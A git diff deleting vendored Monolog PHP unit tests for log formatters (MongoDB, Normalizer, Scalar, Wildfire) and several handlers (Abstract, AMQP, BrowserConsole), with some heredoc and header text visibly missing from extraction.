Logger::getLevelName(Logger::WARNING), - 'channel' => 'test', - 'datetime' => new \DateTime('2014-02-01 00:00:00'), - 'extra' => array(), - ); - - $formatter = new MongoDBFormatter(2); - $formattedResult = $formatter->format($record); - - $this->assertEquals( - array( - 'nest2' => array( - 'property' => 'anything', - 'nest3' => '[...]', - ), - ), - $formattedResult['context'] - ); - } - - public function testFormatDepthArrayInfiniteNesting() - { - $record = array( - 'message' => 'some log message', - 'context' => array( - 'nest2' => array( - 'property' => 'something', - 'nest3' => array( - 'property' => 'anything', - 'nest4' => array( - 'property' => 'nothing', - ), - ), - ), - ), - 'level' => Logger::WARNING, - 'level_name' => Logger::getLevelName(Logger::WARNING), - 'channel' => 'test', - 'datetime' => new \DateTime('2014-02-01 00:00:00'), - 'extra' => array(), - ); - - $formatter = new MongoDBFormatter(0); - $formattedResult = $formatter->format($record); - - $this->assertEquals( - array( - 'nest2' => array( - 'property' => 'something', - 'nest3' => array( - 'property' => 'anything', - 'nest4' => array( - 'property' => 'nothing', - ), - ), - ), - ), - $formattedResult['context'] - ); - } - - public function testFormatDepthObjects() - { - $someObject = new \stdClass(); - $someObject->property = 'anything'; - $someObject->nest3 = new \stdClass(); - $someObject->nest3->property = 'nothing'; - $someObject->nest3->nest4 = 'invisible'; - - $record = array( - 'message' => 'some log message', - 'context' => array( - 'nest2' => $someObject, - ), - 'level' => Logger::WARNING, - 'level_name' => Logger::getLevelName(Logger::WARNING), - 'channel' => 'test', - 'datetime' => new \DateTime('2014-02-01 00:00:00'), - 'extra' => array(), - ); - - $formatter = new MongoDBFormatter(2, true); - $formattedResult = $formatter->format($record); - - $this->assertEquals( - array( - 'nest2' => array( - 'property' => 'anything', - 'nest3' => '[...]', - 'class' => 'stdClass', - ), - ), - $formattedResult['context'] - ); - } - - public function testFormatDepthException() - { - $record = array( - 'message' => 'some log message', - 'context' => array( - 'nest2' => new \Exception('exception message', 987), - ), - 'level' => Logger::WARNING, - 'level_name' => Logger::getLevelName(Logger::WARNING), - 'channel' => 'test', - 'datetime' => new \DateTime('2014-02-01 00:00:00'), - 'extra' => array(), - ); - - $formatter = new MongoDBFormatter(2, false); - $formattedRecord = $formatter->format($record); - - $this->assertEquals('exception message', $formattedRecord['context']['nest2']['message']); - $this->assertEquals(987, $formattedRecord['context']['nest2']['code']); - $this->assertEquals('[...]', $formattedRecord['context']['nest2']['trace']); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/NormalizerFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/NormalizerFormatterTest.php deleted file mode 100644 index 5302b2f154..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/NormalizerFormatterTest.php +++ /dev/null @@ -1,440 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -/** - * @covers Monolog\Formatter\NormalizerFormatter - */ -class NormalizerFormatterTest extends \PHPUnit_Framework_TestCase -{ - public function tearDown() - { - \PHPUnit_Framework_Error_Warning::$enabled = true; - - return parent::tearDown(); - } - - public function testFormat() - { - $formatter = new NormalizerFormatter('Y-m-d'); - $formatted = $formatter->format(array( - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'message' => 'foo', - 'datetime' => new \DateTime, - 'extra' => array('foo' => new TestFooNorm, 'bar' => new TestBarNorm, 'baz' => array(), 'res' => fopen('php://memory', 'rb')), - 'context' => array( - 'foo' => 'bar', - 'baz' => 'qux', - 'inf' => INF, - '-inf' => -INF, - 'nan' => acos(4), - ), - )); - - $this->assertEquals(array( - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'message' => 'foo', - 'datetime' => date('Y-m-d'), - 'extra' => array( - 'foo' => '[object] (Monolog\\Formatter\\TestFooNorm: {"foo":"foo"})', - 'bar' => '[object] (Monolog\\Formatter\\TestBarNorm: bar)', - 'baz' => array(), - 'res' => '[resource] (stream)', - ), - 'context' => array( - 'foo' => 'bar', - 'baz' => 'qux', - 'inf' => 'INF', - '-inf' => '-INF', - 'nan' => 'NaN', - ), - ), $formatted); - } - - public function testFormatExceptions() - { - $formatter = new NormalizerFormatter('Y-m-d'); - $e = new \LogicException('bar'); - $e2 = new \RuntimeException('foo', 0, $e); - $formatted = $formatter->format(array( - 'exception' => $e2, - )); - - $this->assertGreaterThan(5, count($formatted['exception']['trace'])); - $this->assertTrue(isset($formatted['exception']['previous'])); - unset($formatted['exception']['trace'], $formatted['exception']['previous']); - - $this->assertEquals(array( - 'exception' => array( - 'class' => get_class($e2), - 'message' => $e2->getMessage(), - 'code' => $e2->getCode(), - 'file' => $e2->getFile().':'.$e2->getLine(), - ), - ), $formatted); - } - - public function testFormatSoapFaultException() - { - if (!class_exists('SoapFault')) { - $this->markTestSkipped('Requires the soap extension'); - } - - $formatter = new NormalizerFormatter('Y-m-d'); - $e = new \SoapFault('foo', 'bar', 'hello', 'world'); - $formatted = $formatter->format(array( - 'exception' => $e, - )); - - unset($formatted['exception']['trace']); - - $this->assertEquals(array( - 'exception' => array( - 'class' => 'SoapFault', - 'message' => 'bar', - 'code' => 0, - 'file' => $e->getFile().':'.$e->getLine(), - 'faultcode' => 'foo', - 'faultactor' => 'hello', - 'detail' => 'world', - ), - ), $formatted); - - $formatter = new NormalizerFormatter('Y-m-d'); - $e = new \SoapFault('foo', 'bar', 'hello', (object) array('bar' => (object) array('biz' => 'baz'), 'foo' => 'world')); - $formatted = $formatter->format(array( - 'exception' => $e, - )); - - unset($formatted['exception']['trace']); - - $this->assertEquals(array( - 'exception' => array( - 'class' => 'SoapFault', - 'message' => 'bar', - 'code' => 0, - 'file' => $e->getFile().':'.$e->getLine(), - 'faultcode' => 'foo', - 'faultactor' => 'hello', - 'detail' => '{"bar":{"biz":"baz"},"foo":"world"}', - ), - ), $formatted); - } - - public function testFormatToStringExceptionHandle() - { - $formatter = new NormalizerFormatter('Y-m-d'); - $this->setExpectedException('RuntimeException', 'Could not convert to string'); - $formatter->format(array( - 'myObject' => new TestToStringError(), - )); - } - - public function testBatchFormat() - { - $formatter = new NormalizerFormatter('Y-m-d'); - $formatted = $formatter->formatBatch(array( - array( - 'level_name' => 'CRITICAL', - 'channel' => 'test', - 'message' => 'bar', - 'context' => array(), - 'datetime' => new \DateTime, - 'extra' => array(), - ), - array( - 'level_name' => 'WARNING', - 'channel' => 'log', - 'message' => 'foo', - 'context' => array(), - 'datetime' => new \DateTime, - 'extra' => array(), - ), - )); - $this->assertEquals(array( - array( - 'level_name' => 'CRITICAL', - 'channel' => 'test', - 'message' => 'bar', - 'context' => array(), - 'datetime' => date('Y-m-d'), - 'extra' => array(), - ), - array( - 'level_name' => 'WARNING', - 'channel' => 'log', - 'message' => 'foo', - 'context' => array(), - 'datetime' => date('Y-m-d'), - 'extra' => array(), - ), - ), $formatted); - } - - /** - * Test issue #137 - */ - public function testIgnoresRecursiveObjectReferences() - { - // set up the recursion - $foo = new \stdClass(); - $bar = new \stdClass(); - - $foo->bar = $bar; - $bar->foo = $foo; - - // set an error handler to assert that the error is not raised anymore - $that = $this; - set_error_handler(function ($level, $message, $file, $line, $context) use ($that) { - if (error_reporting() & $level) { - restore_error_handler(); - $that->fail("$message should not be raised"); - } - }); - - $formatter = new NormalizerFormatter(); - $reflMethod = new \ReflectionMethod($formatter, 'toJson'); - $reflMethod->setAccessible(true); - $res = $reflMethod->invoke($formatter, array($foo, $bar), true); - - restore_error_handler(); - - if (PHP_VERSION_ID < 50500) { - $this->assertEquals('[{"bar":{"foo":null}},{"foo":{"bar":null}}]', $res); - } else { - $this->assertEquals('null', $res); - } - } - - public function testCanNormalizeReferences() - { - $formatter = new NormalizerFormatter(); - $x = array('foo' => 'bar'); - $y = array('x' => &$x); - $x['y'] = &$y; - $formatter->format($y); - } - - public function testIgnoresInvalidTypes() - { - // set up the recursion - $resource = fopen(__FILE__, 'r'); - - // set an error handler to assert that the error is not raised anymore - $that = $this; - set_error_handler(function ($level, $message, $file, $line, $context) use ($that) { - if (error_reporting() & $level) { - restore_error_handler(); - $that->fail("$message should not be raised"); - } - }); - - $formatter = new NormalizerFormatter(); - $reflMethod = new \ReflectionMethod($formatter, 'toJson'); - $reflMethod->setAccessible(true); - $res = $reflMethod->invoke($formatter, array($resource), true); - - restore_error_handler(); - - if (PHP_VERSION_ID < 50500) { - $this->assertEquals('[null]', $res); - } else { - $this->assertEquals('null', $res); - } - } - - public function testNormalizeHandleLargeArraysWithExactly1000Items() - { - $formatter = new NormalizerFormatter(); - $largeArray = range(1, 1000); - - $res = $formatter->format(array( - 'level_name' => 'CRITICAL', - 'channel' => 'test', - 'message' => 'bar', - 'context' => array($largeArray), - 'datetime' => new \DateTime, - 'extra' => array(), - )); - - $this->assertCount(1000, $res['context'][0]); - $this->assertArrayNotHasKey('...', $res['context'][0]); - } - - public function testNormalizeHandleLargeArrays() - { - $formatter = new NormalizerFormatter(); - $largeArray = range(1, 2000); - - $res = $formatter->format(array( - 'level_name' => 'CRITICAL', - 'channel' => 'test', - 'message' => 'bar', - 'context' => array($largeArray), - 'datetime' => new \DateTime, - 'extra' => array(), - )); - - $this->assertCount(1001, $res['context'][0]); - $this->assertEquals('Over 1000 items (2000 total), aborting normalization', $res['context'][0]['...']); - } - - /** - * @expectedException RuntimeException - */ - public function testThrowsOnInvalidEncoding() - { - if (version_compare(PHP_VERSION, '5.5.0', '<')) { - // Ignore the warning that will be emitted by PHP <5.5.0 - \PHPUnit_Framework_Error_Warning::$enabled = false; - } - $formatter = new NormalizerFormatter(); - $reflMethod = new \ReflectionMethod($formatter, 'toJson'); - $reflMethod->setAccessible(true); - - // send an invalid unicode sequence as a object that can't be cleaned - $record = new \stdClass; - $record->message = "\xB1\x31"; - $res = $reflMethod->invoke($formatter, $record); - if (PHP_VERSION_ID < 50500 && $res === '{"message":null}') { - throw new \RuntimeException('PHP 5.3/5.4 throw a warning and null the value instead of returning false entirely'); - } - } - - public function testConvertsInvalidEncodingAsLatin9() - { - if (version_compare(PHP_VERSION, '5.5.0', '<')) { - // Ignore the warning that will be emitted by PHP <5.5.0 - \PHPUnit_Framework_Error_Warning::$enabled = false; - } - $formatter = new NormalizerFormatter(); - $reflMethod = new \ReflectionMethod($formatter, 'toJson'); - $reflMethod->setAccessible(true); - - $res = $reflMethod->invoke($formatter, array('message' => "\xA4\xA6\xA8\xB4\xB8\xBC\xBD\xBE")); - - if (version_compare(PHP_VERSION, '5.5.0', '>=')) { - $this->assertSame('{"message":"€ŠšŽžŒœŸ"}', $res); - } else { - // PHP <5.5 does not return false for an element encoding failure, - // instead it emits a warning (possibly) and nulls the value. - $this->assertSame('{"message":null}', $res); - } - } - - public function testExceptionTraceWithArgs() - { - if (defined('HHVM_VERSION')) { - $this->markTestSkipped('Not supported in HHVM since it detects errors differently'); - } - - // This happens i.e. in React promises or Guzzle streams where stream wrappers are registered - // and no file or line are included in the trace because it's treated as internal function - set_error_handler(function ($errno, $errstr, $errfile, $errline) { - throw new \ErrorException($errstr, 0, $errno, $errfile, $errline); - }); - - try { - // This will contain $resource and $wrappedResource as arguments in the trace item - $resource = fopen('php://memory', 'rw+'); - fwrite($resource, 'test_resource'); - $wrappedResource = new TestFooNorm; - $wrappedResource->foo = $resource; - // Just do something stupid with a resource/wrapped resource as argument - array_keys($wrappedResource); - } catch (\Exception $e) { - restore_error_handler(); - } - - $formatter = new NormalizerFormatter(); - $record = array('context' => array('exception' => $e)); - $result = $formatter->format($record); - - $this->assertSame( - __FILE__.':'.(__LINE__-10), - $result['context']['exception']['trace'][0] - ); - } - - public function testExceptionTraceDoesNotLeakCallUserFuncArgs() - { - try { - $arg = new TestInfoLeak; - call_user_func(array($this, 'throwHelper'), $arg, $dt = new \DateTime()); - } catch (\Exception $e) { - } - - $formatter = new NormalizerFormatter(); - $record = array('context' => array('exception' => $e)); - $result = $formatter->format($record); - - $this->assertSame( - __FILE__ .':'.(__LINE__-9), - $result['context']['exception']['trace'][0] - ); - } - - private function throwHelper($arg) - { - throw new \RuntimeException('Thrown'); - } -} - -class TestFooNorm -{ - public $foo = 'foo'; -} - -class TestBarNorm -{ - public function __toString() - { - return 'bar'; - } -} - -class TestStreamFoo -{ - public $foo; - public $resource; - - public function __construct($resource) - { - $this->resource = $resource; - $this->foo = 'BAR'; - } - - public function __toString() - { - fseek($this->resource, 0); - - return $this->foo . ' - ' . (string) stream_get_contents($this->resource); - } -} - -class TestToStringError -{ - public function __toString() - { - throw new \RuntimeException('Could not convert to string'); - } -} - -class TestInfoLeak -{ - public function __toString() - { - return 'Sensitive information'; - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/ScalarFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/ScalarFormatterTest.php deleted file mode 100644 index 1c28003559..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/ScalarFormatterTest.php +++ /dev/null @@ -1,108 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -class ScalarFormatterTest extends \PHPUnit_Framework_TestCase -{ - private $formatter; - - public function setUp() - { - $this->formatter = new ScalarFormatter(); - } - - public function buildTrace(\Exception $e) - { - $data = array(); - $trace = $e->getTrace(); - foreach ($trace as $frame) { - if (isset($frame['file'])) { - $data[] = $frame['file'].':'.$frame['line']; - } - } - - return $data; - } - - public function encodeJson($data) - { - if (version_compare(PHP_VERSION, '5.4.0', '>=')) { - return json_encode($data, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); - } - - return json_encode($data); - } - - public function testFormat() - { - $exception = new \Exception('foo'); - $formatted = $this->formatter->format(array( - 'foo' => 'string', - 'bar' => 1, - 'baz' => false, - 'bam' => array(1, 2, 3), - 'bat' => array('foo' => 'bar'), - 'bap' => \DateTime::createFromFormat(\DateTime::ISO8601, '1970-01-01T00:00:00+0000'), - 'ban' => $exception, - )); - - $this->assertSame(array( - 'foo' => 'string', - 'bar' => 1, - 'baz' => false, - 'bam' => $this->encodeJson(array(1, 2, 3)), - 'bat' => $this->encodeJson(array('foo' => 'bar')), - 'bap' => '1970-01-01 00:00:00', - 'ban' => $this->encodeJson(array( - 'class' => get_class($exception), - 'message' => $exception->getMessage(), - 'code' => $exception->getCode(), - 'file' => $exception->getFile() . ':' . $exception->getLine(), - 'trace' => $this->buildTrace($exception), - )), - ), $formatted); - } - - public function testFormatWithErrorContext() - { - $context = array('file' => 'foo', 'line' => 1); - $formatted = $this->formatter->format(array( - 'context' => $context, - )); - - $this->assertSame(array( - 'context' => $this->encodeJson($context), - ), $formatted); - } - - public function testFormatWithExceptionContext() - { - $exception = new \Exception('foo'); - $formatted = $this->formatter->format(array( - 'context' => array( - 'exception' => $exception, - ), - )); - - $this->assertSame(array( - 'context' => $this->encodeJson(array( - 'exception' => array( - 'class' => get_class($exception), - 'message' => $exception->getMessage(), - 'code' => $exception->getCode(), - 'file' => $exception->getFile() . ':' . $exception->getLine(), - 'trace' => $this->buildTrace($exception), - ), - )), - ), $formatted); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/WildfireFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/WildfireFormatterTest.php deleted file mode 100644 index cbf671ecee..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/WildfireFormatterTest.php +++ /dev/null @@ -1,142 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; - -class WildfireFormatterTest extends \PHPUnit_Framework_TestCase -{ - /** - * @covers Monolog\Formatter\WildfireFormatter::format - */ - public function testDefaultFormat() - { - $wildfire = new WildfireFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('ip' => '127.0.0.1'), - 'message' => 'log', - ); - - $message = $wildfire->format($record); - - $this->assertEquals( - '125|[{"Type":"ERROR","File":"","Line":"","Label":"meh"},' - .'{"message":"log","context":{"from":"logger"},"extra":{"ip":"127.0.0.1"}}]|', - $message - ); - } - - /** - * @covers Monolog\Formatter\WildfireFormatter::format - */ - public function testFormatWithFileAndLine() - { - $wildfire = new WildfireFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('ip' => '127.0.0.1', 'file' => 'test', 'line' => 14), - 'message' => 'log', - ); - - $message = $wildfire->format($record); - - $this->assertEquals( - '129|[{"Type":"ERROR","File":"test","Line":14,"Label":"meh"},' - .'{"message":"log","context":{"from":"logger"},"extra":{"ip":"127.0.0.1"}}]|', - $message - ); - } - - /** - * @covers Monolog\Formatter\WildfireFormatter::format - */ - public function testFormatWithoutContext() - { - $wildfire = new WildfireFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ); - - $message = $wildfire->format($record); - - $this->assertEquals( - '58|[{"Type":"ERROR","File":"","Line":"","Label":"meh"},"log"]|', - $message - ); - } - - /** - * @covers Monolog\Formatter\WildfireFormatter::formatBatch - * @expectedException BadMethodCallException - */ - public function testBatchFormatThrowException() - { - $wildfire = new WildfireFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ); - - $wildfire->formatBatch(array($record)); - } - - /** - * @covers Monolog\Formatter\WildfireFormatter::format - */ - public function testTableFormat() - { - $wildfire = new WildfireFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'table-channel', - 'context' => array( - WildfireFormatter::TABLE => array( - array('col1', 'col2', 'col3'), - array('val1', 'val2', 'val3'), - array('foo1', 'foo2', 'foo3'), - array('bar1', 'bar2', 'bar3'), - ), - ), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'table-message', - ); - - $message = $wildfire->format($record); - - $this->assertEquals( - '171|[{"Type":"TABLE","File":"","Line":"","Label":"table-channel: table-message"},[["col1","col2","col3"],["val1","val2","val3"],["foo1","foo2","foo3"],["bar1","bar2","bar3"]]]|', - $message - ); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/AbstractHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/AbstractHandlerTest.php deleted file mode 100644 index 34c414098a..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/AbstractHandlerTest.php +++ /dev/null @@ -1,115 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; -use Monolog\Formatter\LineFormatter; -use Monolog\Processor\WebProcessor; - -class AbstractHandlerTest extends TestCase -{ - /** - * @covers Monolog\Handler\AbstractHandler::__construct - * @covers Monolog\Handler\AbstractHandler::getLevel - * @covers Monolog\Handler\AbstractHandler::setLevel - * @covers Monolog\Handler\AbstractHandler::getBubble - * @covers Monolog\Handler\AbstractHandler::setBubble - * @covers Monolog\Handler\AbstractHandler::getFormatter - * @covers Monolog\Handler\AbstractHandler::setFormatter - */ - public function testConstructAndGetSet() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractHandler', array(Logger::WARNING, false)); - $this->assertEquals(Logger::WARNING, $handler->getLevel()); - $this->assertEquals(false, $handler->getBubble()); - - $handler->setLevel(Logger::ERROR); - $handler->setBubble(true); - $handler->setFormatter($formatter = new LineFormatter); - $this->assertEquals(Logger::ERROR, $handler->getLevel()); - $this->assertEquals(true, $handler->getBubble()); - $this->assertSame($formatter, $handler->getFormatter()); - } - - /** - * @covers Monolog\Handler\AbstractHandler::handleBatch - */ - public function testHandleBatch() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractHandler'); - $handler->expects($this->exactly(2)) - ->method('handle'); - $handler->handleBatch(array($this->getRecord(), $this->getRecord())); - } - - /** - * @covers Monolog\Handler\AbstractHandler::isHandling - */ - public function testIsHandling() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractHandler', array(Logger::WARNING, false)); - $this->assertTrue($handler->isHandling($this->getRecord())); - $this->assertFalse($handler->isHandling($this->getRecord(Logger::DEBUG))); - } - - /** - * @covers Monolog\Handler\AbstractHandler::__construct - */ - public function testHandlesPsrStyleLevels() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractHandler', array('warning', false)); - $this->assertFalse($handler->isHandling($this->getRecord(Logger::DEBUG))); - $handler->setLevel('debug'); - $this->assertTrue($handler->isHandling($this->getRecord(Logger::DEBUG))); - } - - /** - * @covers Monolog\Handler\AbstractHandler::getFormatter - * @covers Monolog\Handler\AbstractHandler::getDefaultFormatter - */ - public function testGetFormatterInitializesDefault() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractHandler'); - $this->assertInstanceOf('Monolog\Formatter\LineFormatter', $handler->getFormatter()); - } - - /** - * @covers Monolog\Handler\AbstractHandler::pushProcessor - * @covers Monolog\Handler\AbstractHandler::popProcessor - * @expectedException LogicException - */ - public function testPushPopProcessor() - { - $logger = $this->getMockForAbstractClass('Monolog\Handler\AbstractHandler'); - $processor1 = new WebProcessor; - $processor2 = new WebProcessor; - - $logger->pushProcessor($processor1); - $logger->pushProcessor($processor2); - - $this->assertEquals($processor2, $logger->popProcessor()); - $this->assertEquals($processor1, $logger->popProcessor()); - $logger->popProcessor(); - } - - /** - * @covers Monolog\Handler\AbstractHandler::pushProcessor - * @expectedException InvalidArgumentException - */ - public function testPushProcessorWithNonCallable() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractHandler'); - - $handler->pushProcessor(new \stdClass()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/AbstractProcessingHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/AbstractProcessingHandlerTest.php deleted file mode 100644 index 407373c275..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/AbstractProcessingHandlerTest.php +++ /dev/null @@ -1,80 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; -use Monolog\Processor\WebProcessor; - -class AbstractProcessingHandlerTest extends TestCase -{ - /** - * @covers Monolog\Handler\AbstractProcessingHandler::handle - */ - public function testHandleLowerLevelMessage() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractProcessingHandler', array(Logger::WARNING, true)); - $this->assertFalse($handler->handle($this->getRecord(Logger::DEBUG))); - } - - /** - * @covers Monolog\Handler\AbstractProcessingHandler::handle - */ - public function testHandleBubbling() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractProcessingHandler', array(Logger::DEBUG, true)); - $this->assertFalse($handler->handle($this->getRecord())); - } - - /** - * @covers Monolog\Handler\AbstractProcessingHandler::handle - */ - public function testHandleNotBubbling() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractProcessingHandler', array(Logger::DEBUG, false)); - $this->assertTrue($handler->handle($this->getRecord())); - } - - /** - * @covers Monolog\Handler\AbstractProcessingHandler::handle - */ - public function testHandleIsFalseWhenNotHandled() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractProcessingHandler', array(Logger::WARNING, false)); - $this->assertTrue($handler->handle($this->getRecord())); - $this->assertFalse($handler->handle($this->getRecord(Logger::DEBUG))); - } - - /** - * @covers Monolog\Handler\AbstractProcessingHandler::processRecord - */ - public function testProcessRecord() - { - $handler = $this->getMockForAbstractClass('Monolog\Handler\AbstractProcessingHandler'); - $handler->pushProcessor(new WebProcessor(array( - 'REQUEST_URI' => '', - 'REQUEST_METHOD' => '', - 'REMOTE_ADDR' => '', - 'SERVER_NAME' => '', - 'UNIQUE_ID' => '', - ))); - $handledRecord = null; - $handler->expects($this->once()) - ->method('write') - ->will($this->returnCallback(function ($record) use (&$handledRecord) { - $handledRecord = $record; - })) - ; - $handler->handle($this->getRecord()); - $this->assertEquals(6, count($handledRecord['extra'])); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/AmqpHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/AmqpHandlerTest.php deleted file mode 100644 index 3cbe14ae1b..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/AmqpHandlerTest.php +++ /dev/null @@ -1,136 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; -use PhpAmqpLib\Message\AMQPMessage; -use PhpAmqpLib\Connection\AMQPConnection; - -/** - * @covers Monolog\Handler\RotatingFileHandler - */ -class AmqpHandlerTest extends TestCase -{ - public function testHandleAmqpExt() - { - if (!class_exists('AMQPConnection') || !class_exists('AMQPExchange')) { - $this->markTestSkipped("amqp-php not installed"); - } - - if (!class_exists('AMQPChannel')) { - $this->markTestSkipped("Please update AMQP to version >= 1.0"); - } - - $messages = array(); - - $exchange = $this->getMock('AMQPExchange', array('publish', 'setName'), array(), '', false); - $exchange->expects($this->once()) - ->method('setName') - ->with('log') - ; - $exchange->expects($this->any()) - ->method('publish') - ->will($this->returnCallback(function ($message, $routing_key, $flags = 0, $attributes = array()) use (&$messages) { - $messages[] = array($message, $routing_key, $flags, $attributes); - })) - ; - - $handler = new AmqpHandler($exchange, 'log'); - - $record = $this->getRecord(Logger::WARNING, 'test', array('data' => new \stdClass, 'foo' => 34)); - - $expected = array( - array( - 'message' => 'test', - 'context' => array( - 'data' => array(), - 'foo' => 34, - ), - 'level' => 300, - 'level_name' => 'WARNING', - 'channel' => 'test', - 'extra' => array(), - ), - 'warn.test', - 0, - array( - 'delivery_mode' => 2, - 'content_type' => 'application/json', - ), - ); - - $handler->handle($record); - - $this->assertCount(1, $messages); - $messages[0][0] = json_decode($messages[0][0], true); - unset($messages[0][0]['datetime']); - $this->assertEquals($expected, $messages[0]); - } - - public function testHandlePhpAmqpLib() - { - if (!class_exists('PhpAmqpLib\Connection\AMQPConnection')) { - $this->markTestSkipped("php-amqplib not installed"); - } - - $messages = array(); - - $exchange = $this->getMock('PhpAmqpLib\Channel\AMQPChannel', array('basic_publish', '__destruct'), array(), '', false); - - $exchange->expects($this->any()) - ->method('basic_publish') - ->will($this->returnCallback(function (AMQPMessage $msg, $exchange = "", $routing_key = "", $mandatory = false, $immediate = false, $ticket = null) use (&$messages) { - $messages[] = array($msg, $exchange, $routing_key, $mandatory, $immediate, $ticket); - })) - ; - - $handler = new AmqpHandler($exchange, 'log'); - - $record = $this->getRecord(Logger::WARNING, 'test', array('data' => new \stdClass, 'foo' => 34)); - - $expected = array( - array( - 'message' => 'test', - 'context' => array( - 'data' => array(), - 'foo' => 34, - ), - 'level' => 300, - 'level_name' => 'WARNING', - 'channel' => 'test', - 'extra' => array(), - ), - 'log', - 'warn.test', - false, - false, - null, - array( - 'delivery_mode' => 2, - 'content_type' => 'application/json', - ), - ); - - $handler->handle($record); - - $this->assertCount(1, $messages); - - /* @var $msg AMQPMessage */ - $msg = $messages[0][0]; - $messages[0][0] = json_decode($msg->body, true); - $messages[0][] = $msg->get_properties(); - unset($messages[0][0]['datetime']); - - $this->assertEquals($expected, $messages[0]); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/BrowserConsoleHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/BrowserConsoleHandlerTest.php deleted file mode 100644 index 4105980628..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/BrowserConsoleHandlerTest.php +++ /dev/null @@ -1,146 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @covers Monolog\Handler\BrowserConsoleHandlerTest - */ -class BrowserConsoleHandlerTest extends TestCase -{ - protected function setUp() - { - BrowserConsoleHandler::resetStatic(); - } - - protected function generateScript() - { - $reflMethod = new \ReflectionMethod('Monolog\Handler\BrowserConsoleHandler', 'generateScript'); - $reflMethod->setAccessible(true); - - return $reflMethod->invoke(null); - } - - public function testStyling() - { - $handler = new BrowserConsoleHandler(); - $handler->setFormatter($this->getIdentityFormatter()); - - $handler->handle($this->getRecord(Logger::DEBUG, 'foo[[bar]]{color: red}')); - - $expected = <<assertEquals($expected, $this->generateScript()); - } - - public function testStylingMultiple() - { - $handler = new BrowserConsoleHandler(); - $handler->setFormatter($this->getIdentityFormatter()); - - $handler->handle($this->getRecord(Logger::DEBUG, 'foo[[bar]]{color: red}[[baz]]{color: blue}')); - - $expected = <<assertEquals($expected, $this->generateScript()); - } - - public function testEscaping() - { - $handler = new BrowserConsoleHandler(); - $handler->setFormatter($this->getIdentityFormatter()); - - $handler->handle($this->getRecord(Logger::DEBUG, "[foo] [[\"bar\n[baz]\"]]{color: red}")); - - $expected = <<assertEquals($expected, $this->generateScript()); - } - - public function testAutolabel() - { - $handler = new BrowserConsoleHandler(); - $handler->setFormatter($this->getIdentityFormatter()); - - $handler->handle($this->getRecord(Logger::DEBUG, '[[foo]]{macro: autolabel}')); - $handler->handle($this->getRecord(Logger::DEBUG, '[[bar]]{macro: autolabel}')); - $handler->handle($this->getRecord(Logger::DEBUG, '[[foo]]{macro: autolabel}')); - - $expected = <<assertEquals($expected, $this->generateScript()); - } - - public function testContext() - { - $handler = new BrowserConsoleHandler(); - 